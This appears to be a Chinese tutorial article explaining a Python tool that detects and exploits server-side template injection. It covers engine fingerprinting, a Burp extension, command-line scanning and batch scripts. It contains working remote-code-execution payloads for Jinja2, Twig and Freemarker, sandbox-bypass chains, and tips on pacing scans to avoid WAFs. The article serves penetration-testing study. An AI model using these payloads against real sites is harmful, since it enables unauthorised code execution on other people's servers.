首页 / 资讯中心 / 文章详情

Python模板注入检测工具源码解析:SSTI检测与利用实战

Python模板注入检测工具源码解析:SSTI检测与利用实战 ★ FEATURED ARTICLE
简介这是一套面向Web安全研究人员与渗透测试学习者的Server-Side模板注入与代码注入检测利用工具源码采用Python开发可帮助读者理解模板引擎漏洞的检测逻辑与利用方式适合具备一定安全基础的中高级人员研究参考。资源包共103个文件约290KB以69个Python脚本为核心辅以Shell、PHP、Java、Gradle、YAML及Markdown等类型文件分别承担自动化检测、环境配置、跨语言示例与文档说明等职责多语言结构使其能覆盖较广的安全测试场景。目前已有288人学习下载。源码中可见模板注入扫描与Burp Suite扩展集成等模块并配有依赖清单、行为配置与自动化测试配置便于读者梳理项目结构、理解检测流程与扩展思路也可作为二次开发与安全工具学习的参考素材。1. 从一份 99 文件的源码包说起Python 模板注入检测工具到底能干什么拿到一个 Web 目标输入框回显正常参数过滤看起来也没毛病但把{{7*7}}丢进去页面返回了49。这一刻基本可以确认服务端模板引擎把用户输入当代码执行了。这就是 Server-Side 模板注入SSTI它不像 SQL 注入那样有成熟的自动化工具链很多时候得靠手工 payload 一个个试。而这份基于 Python 开发的 Server-Side 模板注入与代码注入检测与利用工具源码解决的正是这个痛点——把散落在各种模板引擎里的检测逻辑和利用链收敛成一套可复用的脚本。这份源码包共 99 个文件其中 63 个 Python 脚本是绝对主力另外还有 8 个 Shell 脚本负责环境编排、6 个 PHP 脚本作为靶场或 payload 载体、3 个 YAML 配置文件管理工具行为、2 个 Java 和 Gradle 文件用于构建集成以及若干 Markdown 文档和前端资源。它适合两类人一是做 Web 渗透测试的安全工程师需要快速判断目标是否存在 SSTI 并尝试利用二是安全开发方向的学习者想通过读源码理解模板注入的检测原理和工程化实现方式。如果你正在找一份能直接跑起来、能改、能扩展的 Python 安全工具源码这份资源值得花时间拆一遍。2. 核心检测逻辑拆解tplmap.py 与 burp_extension.py 怎么配合2.1 tplmap.py 的引擎识别与 payload 注入策略tplmap.py是整个工具的核心入口它的工作流程可以拆成三步指纹识别、注入测试、利用执行。指纹识别阶段它会向目标参数注入一组探测字符串观察响应差异来判断后端使用的是哪种模板引擎。常见的引擎包括 Jinja2、Twig、Freemarker、Velocity、Smarty、Mako 等每种引擎的语法特征和沙箱行为都不一样。# tplmap.py 核心探测逻辑简化示意 import requests ENGINE_PROBES { jinja2: { test: {{7*7}}, expect: 49, payload: {{config.__class__.__init__.__globals__[os].popen(id).read()}} }, twig: { test: {{7*7}}, expect: 49, payload: {{_self.env.registerUndefinedFilterCallback(system)}}{{_self.env.getFilter(id)}} }, freemarker: { test: ${7*7}, expect: 49, payload: #assign exfreemarker.template.utility.Execute?new()${ex(id)} } } def detect_engine(url, param, methodGET): for engine, probe in ENGINE_PROBES.items(): try: if method GET: r requests.get(url, params{param: probe[test]}, timeout10) else: r requests.post(url, data{param: probe[test]}, timeout10) if probe[expect] in r.text: return engine except requests.RequestException: continue return None这段代码的逻辑很直白对每个候选引擎用该引擎的数学表达式作为探针如果响应里出现了预期结果就锁定引擎类型。参数方面timeout10是防止目标无响应导致脚本挂死实际使用时可以根据网络延迟调整。method参数支持 GET 和 POST 两种注入方式覆盖了大多数表单和查询字符串场景。识别出引擎之后工具会加载对应的利用 payload。这里有个关键点不同引擎的沙箱限制差异很大。Jinja2 在默认配置下可以通过__globals__链拿到os模块但 Twig 在 1.20.0 之后对_self的访问做了限制需要换用其他链。源码包里那个twig-1.20.0-secured.php文件大概率就是用来测试安全版本 Twig 的靶场文件。2.2 burp_extension.py 的插件化集成方式burp_extension.py的存在说明这个工具不打算只做命令行脚本它还想嵌入到 Burp Suite 的工作流里。Burp 的 Python 扩展通常走 Jython 环境通过实现IBurpExtender接口来注册菜单项和消息监听器。# burp_extension.py 扩展注册骨架简化示意 from burp import IBurpExtender, IContextMenuFactory from javax.swing import JMenuItem from java.util import ArrayList class BurpExtender(IBurpExtender, IContextMenuFactory): def registerExtenderCallbacks(self, callbacks): self._callbacks callbacks self._helpers callbacks.getHelpers() callbacks.setExtensionName(SSTI Detector) callbacks.registerContextMenuFactory(self) def createMenuItems(self, invocation): menu ArrayList() menu.add(JMenuItem(Send to SSTI Scanner, actionPerformedlambda x: self._scan(invocation))) return menu def _scan(self, invocation): messages invocation.getSelectedMessages() for msg in messages: request msg.getRequest() # 提取参数并调用 tplmap 的检测函数 self._callbacks.printOutput(Scanning request...)这个扩展的价值在于你可以在 Burp 的 Proxy 历史里右键任意请求直接丢给 SSTI 扫描器不用手动复制 URL 和参数到命令行。createMenuItems返回的菜单项会出现在右键菜单里invocation.getSelectedMessages()拿到当前选中的请求对象。实际使用时需要把tplmap.py的检测函数 import 进来或者通过子进程调用。注意Burp 的 Jython 环境对 Python 版本有限制通常是 Python 2.7 语法。如果你的tplmap.py是 Python 3 写的直接 import 会报语法错误常见做法是通过subprocess调用外部 Python 3 解释器。2.3 多语言文件在检测链中的角色源码包里除了 Python还有 Shell、PHP、Java、JavaScript 文件这不是为了炫技而是每种语言在检测链里都有实际用途。Shell 脚本负责环境初始化比如安装依赖、启动靶场容器PHP 文件是模板注入的靶场示例用来验证检测逻辑是否有效Java 和 Gradle 文件则可能是为了集成到 CI 流程里或者测试 Freemarker 这类 Java 生态的模板引擎。文件类型数量典型用途Python63核心检测逻辑、payload 生成、报告输出Shell8环境初始化、依赖安装、批量扫描调度PHP6靶场示例、模板引擎测试页面Markdown4使用说明、引擎支持列表、更新日志YAML3工具配置、CI 流水线定义Java/Gradle2Freemarker 测试、构建集成这种多语言混合的设计意味着你在复现时不能只装 Python 依赖就完事。如果要做完整的引擎覆盖测试PHP 和 Java 环境也得配起来。我一般会先用 Docker 把靶场跑起来再在宿主机上跑检测脚本这样环境隔离干净出了问题也好排查。3. 从零跑通检测流程环境配置与参数调优3.1 依赖安装与 Python 版本选择这份源码的 Python 脚本大概率是基于 Python 3 写的因为 Python 2 已经在 2020 年停止维护安全工具圈基本都迁到了 3.x。但 Burp 扩展那块可能还停留在 Jython 2.7所以你的环境里可能需要同时存在两个 Python 版本。# 创建虚拟环境避免污染系统 Python python3 -m venv ssti-env source ssti-env/bin/activate # 安装核心依赖 pip install requests beautifulsoup4 pyyaml # 如果有 requirements.txt直接批量安装 pip install -r requirements.txt # 验证 tplmap 能否正常加载 python3 -c import tplmap; print(tplmap loaded)这里有个血泪经验不要用系统自带的 Python 直接pip install很多 Linux 发行版会限制全局安装而且不同项目之间的依赖冲突会让你怀疑人生。虚拟环境是标配venv够用了没必要上 conda。requirements.txt里通常会锁定版本号比如requests2.28.0。我建议先按锁定的版本装跑通了再考虑升级。安全工具的依赖往往比较敏感requests大版本升级可能导致 SSL 验证行为变化进而影响对 HTTPS 目标的检测。3.2 配置文件 config.yml 的关键参数源码包里有一个config.yml这是工具的行为控制中心。虽然具体字段得看实际文件内容但根据同类工具的惯例通常会包含超时时间、并发线程数、User-Agent、代理设置、引擎启用列表等。# config.yml 典型结构根据同类工具推断 scanner: timeout: 10 # 单请求超时秒数 threads: 5 # 并发扫描线程数 delay: 0.5 # 请求间隔避免触发 WAF user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) engines: jinja2: true twig: true freemarker: true velocity: false # 默认关闭需要手动启用 output: format: json # 支持 json / csv / html verbose: truetimeout设太小会导致误报——目标响应慢的时候探针还没返回就被判定为不存在。设太大又拖慢扫描速度。我一般从 10 秒起步如果目标在内网、延迟低可以降到 5 秒。threads不是越大越好很多 WAF 对并发请求敏感5 到 10 之间比较稳妥。delay参数是给 WAF 绕过的缓冲如果目标没有防护设 0 也行。engines列表里velocity默认关闭是有道理的——它的 payload 构造比较复杂误报率相对高。如果你明确知道目标用的是 Velocity再手动打开。3.3 对单个目标执行检测的完整命令环境配好之后对单个 URL 跑一次检测的命令大概长这样# 基本用法指定 URL 和参数 python3 tplmap.py -u http://target.com/page?nametest -p name # 指定 POST 请求和 Cookie python3 tplmap.py -u http://target.com/login -p username \ --data password123 --cookie sessionabc123 # 指定引擎跳过指纹识别阶段 python3 tplmap.py -u http://target.com/page?nametest -p name -e jinja2 # 输出 JSON 报告 python3 tplmap.py -u http://target.com/page?nametest -p name -o report.json-u是目标 URL-p指定要测试的参数名。如果参数在 POST body 里用--data传其他参数-p仍然指定注入点。--cookie用于需要认证的场景。-e强制指定引擎适合你已经通过其他手段确认了引擎类型、想跳过指纹识别的情况。-o输出报告文件方便后续整理。提示第一次对某个目标跑检测时建议先加-e指定一个引擎做单点验证确认工具能正常工作再放开全引擎扫描。全引擎扫描的请求量不小容易触发目标的风控。4. 避坑与排查SSTI 检测中最容易翻车的五个场景4.1 探针返回 49 但利用链打不通现象{{7*7}}返回了49确认存在模板注入但换用{{config}}或{{self}}时页面报错或返回空白。原因模板引擎的沙箱配置不同。有些环境禁用了config对象访问有些对__class__链做了拦截。Twig 1.20.0 之后的版本默认关闭了_self的敏感方法调用Jinja2 在某些框架里也会覆盖默认的Environment配置。解决先确认引擎的具体版本。如果是 Twig尝试{{_self.env.getFilter(id)}}这类不需要registerUndefinedFilterCallback的链。如果是 Jinja2试试{{request.application.__globals__.__builtins__.__import__(os).popen(id).read()}}通过request对象绕。源码包里的twig-1.20.0-secured.php就是用来测试这种安全版本的拿它当靶场反复试比在真实目标上盲测高效得多。4.2 指纹识别阶段全部超时现象脚本跑起来后每个引擎的探针都返回超时最后报告“未发现注入点”。原因目标有 WAF 或者速率限制探针请求被拦截或延迟。也可能是timeout设得太短目标响应还没回来就被判定为失败。解决先把timeout调到 30 秒threads降到 1delay加到 2 秒用最慢的速度跑一遍。如果还是超时用curl手动发一个探针请求看目标是否正常响应。如果curl也超时说明是网络层的问题不是工具的问题。如果curl正常但脚本超时检查脚本的 User-Agent 是否被 WAF 拉黑了。4.3 Burp 扩展加载后菜单不出现现象把burp_extension.py加载到 Burp 的 Extender 里输出窗口没有报错但右键菜单里找不到 “Send to SSTI Scanner”。原因Burp 的 Python 扩展依赖 Jython 独立 JAR 包如果没在 Extender 设置里指定 Jython 路径扩展不会真正注册。另外registerContextMenuFactory必须在registerExtenderCallbacks里调用顺序错了也不行。解决在 Burp 的 Extender - Options 里把 Jython standalone JAR 的路径配好。然后检查registerExtenderCallbacks方法里是否确实调用了callbacks.registerContextMenuFactory(self)。如果用的是 Python 3 语法写的扩展Jython 2.7 会直接报语法错误需要把 f-string、类型注解这些特性去掉。4.4 对 HTTPS 目标检测时 SSL 证书报错现象脚本对 HTTP 目标正常对 HTTPS 目标抛出SSLError或CertificateError。原因目标用的是自签名证书或者requests库的证书链不完整。安全测试场景下目标经常是内网自建服务证书不受信任是常态。解决在脚本里加verifyFalse同时禁用 urllib3 的警告。import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) r requests.get(url, paramspayload, verifyFalse, timeout10)verifyFalse会跳过证书验证disable_warnings是防止控制台被警告刷屏。生产环境不要这么干但安全测试场景下这是常规操作。4.5 扫描报告里出现大量误报现象报告显示多个引擎都存在注入但手动验证时只有一个是真实的。原因不同引擎的数学探针可能返回相同结果。比如{{7*7}}和${7*7}在某些模板里都能算出 49但实际引擎只有一个。另外如果目标页面本身包含 “49” 这个字符串比如价格、编号也会被误判。解决不要只看数学探针的结果加一组随机数探针比如{{random_string_12345}}如果响应里出现了这个随机字符串说明模板直接回显了输入不一定是代码执行。真正的注入应该能计算出动态结果比如{{7*7}}在 Jinja2 里返回7777777在 Twig 里返回49这种差异化的结果才能确认引擎类型。5. 进阶用法把检测脚本改造成自己的武器5.1 自定义 payload 模板与引擎扩展工具自带的 payload 覆盖了主流引擎但真实环境里你可能遇到冷门模板或者魔改版本。这时候需要自己往ENGINE_PROBES里加条目。我一般会先手工构造一个能返回唯一标识的探针比如{{SSTI_TEST_ 12345}}确认模板支持字符串拼接后再逐步替换成命令执行链。# 添加自定义引擎探测 CUSTOM_ENGINE { my_engine: { test: {{SSTI_ PROBE}}, expect: SSTI_PROBE, payload: {{system(id)}} } } ENGINE_PROBES.update(CUSTOM_ENGINE)关键是test和expect要成对出现且expect的值在正常页面里不应该出现。如果目标页面本身就有 “SSTI_PROBE” 这个字符串换个更长的随机串。5.2 批量扫描与结果聚合单目标检测跑通之后下一步通常是把 URL 列表丢进去批量跑。源码包里的 Shell 脚本大概率就是干这个的。我一般会写一个简单的调度脚本读 URL 列表逐个调用tplmap.py把结果汇总到一个 CSV 里。#!/bin/bash # batch_scan.sh INPUTtargets.txt OUTPUTresults.csv echo url,param,engine,vulnerable $OUTPUT while IFS, read -r url param; do result$(python3 tplmap.py -u $url -p $param -o /tmp/scan_result.json 2/dev/null) engine$(python3 -c import json; print(json.load(open(/tmp/scan_result.json)).get(engine,none)) 2/dev/null) echo $url,$param,$engine,yes $OUTPUT done $INPUT这个脚本假设targets.txt每行是url,param格式。tplmap.py的-o参数输出 JSON 报告然后用 Python 一行命令提取引擎字段。实际使用时要注意tplmap.py的退出码和错误输出别把超时当成“无漏洞”。5.3 验证检测结果的三步确认法工具报告有漏洞不等于真的能利用。我习惯用三步确认法来降低误报第一步用数学探针确认模板执行第二步用字符串拼接探针确认不是静态回显第三步用无害命令比如id或whoami确认代码执行权限。三步都过了才在报告里标记为“确认可利用”。步骤探针示例预期结果排除的误报类型数学运算{{7*7}}49静态回显字符串拼接{{ab}}ab纯数字回显命令执行{{os.popen(id).read()}}uid...沙箱拦截从那以后我每次跑完自动化扫描都会随机抽 10% 的结果手工走一遍这三步。工具再顺手也不能替代人的判断。希望这份源码拆解能帮你在 SSTI 检测上少走弯路。本文还有配套的精品资源点击获取
阅读完成 · 觉得有帮助?
咨询建站